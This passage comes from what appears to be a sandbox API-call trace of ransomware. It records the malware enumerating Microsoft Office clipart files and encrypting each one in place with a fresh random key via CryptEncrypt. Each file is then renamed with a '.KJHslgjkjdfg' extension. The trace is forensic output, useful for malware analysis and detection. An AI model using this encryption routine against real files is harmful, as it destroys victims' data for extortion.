lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0159.430] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0159.430] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0159.430] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.430] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.430] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.430] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xb6de, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xb6de, lpOverlapped=0x0) returned 1 [0159.432] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xb6e0, dwBufLen=0xb6e0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xb6e0) returned 1 [0159.432] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.432] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xb6e0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xb6e0, lpOverlapped=0x0) returned 1 [0159.432] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.432] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xb7b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.432] SetEndOfFile (hFile=0x114) returned 1 [0159.435] GetProcessHeap () returned 0x2a0000 [0159.435] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0159.435] GetProcessHeap () returned 0x2a0000 [0159.435] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0159.435] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00306_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00306_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00306_.wmf.kjhslgjkjdfg")) returned 1 [0159.438] CloseHandle (hObject=0x114) returned 1 [0159.438] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2c8c800, ftCreationTime.dwHighDateTime=0x1bd4b30, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2c8c800, ftLastWriteTime.dwHighDateTime=0x1bd4b30, nFileSizeHigh=0x0, nFileSizeLow=0x17b4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD00336_.WMF", cAlternateFileName="")) returned 1 [0159.438] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00336_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0159.438] GetProcessHeap () returned 0x2a0000 [0159.438] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0159.438] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0159.438] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0159.439] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0159.441] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.441] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.441] GetProcessHeap () returned 0x2a0000 [0159.441] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0159.441] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0159.441] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.441] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0159.441] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0159.441] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0159.442] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0159.442] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0159.442] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0159.442] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.442] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.442] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.442] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x17b4, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x17b4, lpOverlapped=0x0) returned 1 [0159.443] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x17c0, dwBufLen=0x17c0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x17c0) returned 1 [0159.443] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.443] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x17c0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x17c0, lpOverlapped=0x0) returned 1 [0159.443] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.443] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1894, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.443] SetEndOfFile (hFile=0x114) returned 1 [0159.445] GetProcessHeap () returned 0x2a0000 [0159.445] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0159.445] GetProcessHeap () returned 0x2a0000 [0159.445] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0159.445] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00336_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00336_.wmf.kjhslgjkjdfg")) returned 1 [0159.446] CloseHandle (hObject=0x114) returned 1 [0159.446] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf943800, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xaf943800, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0xfea, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD00361_.WMF", cAlternateFileName="")) returned 1 [0159.446] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00361_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0159.447] GetProcessHeap () returned 0x2a0000 [0159.447] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0159.447] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0159.448] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0159.448] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x6, lpOverlapped=0x0) returned 1 [0159.450] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.450] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.450] GetProcessHeap () returned 0x2a0000 [0159.450] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0159.451] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0159.451] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.451] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0159.451] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0159.451] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0159.451] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0159.451] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0159.451] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0159.451] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.451] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.451] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.451] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xfea, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xfea, lpOverlapped=0x0) returned 1 [0159.451] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xff0, dwBufLen=0xff0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xff0) returned 1 [0159.451] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.451] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xff0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xff0, lpOverlapped=0x0) returned 1 [0159.452] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.452] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x10c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.452] SetEndOfFile (hFile=0x114) returned 1 [0159.454] GetProcessHeap () returned 0x2a0000 [0159.454] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0159.454] GetProcessHeap () returned 0x2a0000 [0159.454] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0159.454] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00361_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00361_.wmf.kjhslgjkjdfg")) returned 1 [0159.455] CloseHandle (hObject=0x114) returned 1 [0159.455] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb6bcf00, ftCreationTime.dwHighDateTime=0x1bd4b2d, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfb6bcf00, ftLastWriteTime.dwHighDateTime=0x1bd4b2d, nFileSizeHigh=0x0, nFileSizeLow=0x2168, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD00369_.WMF", cAlternateFileName="")) returned 1 [0159.456] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00369_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0159.456] GetProcessHeap () returned 0x2a0000 [0159.456] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0159.456] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0159.456] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0159.456] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0159.458] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.458] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.458] GetProcessHeap () returned 0x2a0000 [0159.458] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0159.458] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0159.458] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.458] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0159.459] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0159.459] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0159.459] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0159.459] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0159.460] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0159.460] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.460] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.460] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.460] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2168, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x2168, lpOverlapped=0x0) returned 1 [0159.467] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2170, dwBufLen=0x2170 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2170) returned 1 [0159.467] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.467] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2170, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2170, lpOverlapped=0x0) returned 1 [0159.467] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.467] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2244, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.467] SetEndOfFile (hFile=0x114) returned 1 [0159.469] GetProcessHeap () returned 0x2a0000 [0159.469] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0159.469] GetProcessHeap () returned 0x2a0000 [0159.469] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0159.469] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00369_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00369_.wmf.kjhslgjkjdfg")) returned 1 [0159.471] CloseHandle (hObject=0x114) returned 1 [0159.471] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfcdfcc00, ftCreationTime.dwHighDateTime=0x1bd4b1a, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfcdfcc00, ftLastWriteTime.dwHighDateTime=0x1bd4b1a, nFileSizeHigh=0x0, nFileSizeLow=0x20e8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD00382_.WMF", cAlternateFileName="")) returned 1 [0159.471] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00382_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0159.472] GetProcessHeap () returned 0x2a0000 [0159.472] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0159.472] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0159.472] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0159.472] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0159.474] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.474] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.474] GetProcessHeap () returned 0x2a0000 [0159.475] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0159.475] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0159.475] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0159.475] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0159.475] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0159.475] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0159.475] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0159.475] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0159.476] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0159.476] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0159.476] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0159.476] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.476] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x20e8, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x20e8, lpOverlapped=0x0) returned 1 [0159.479] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, 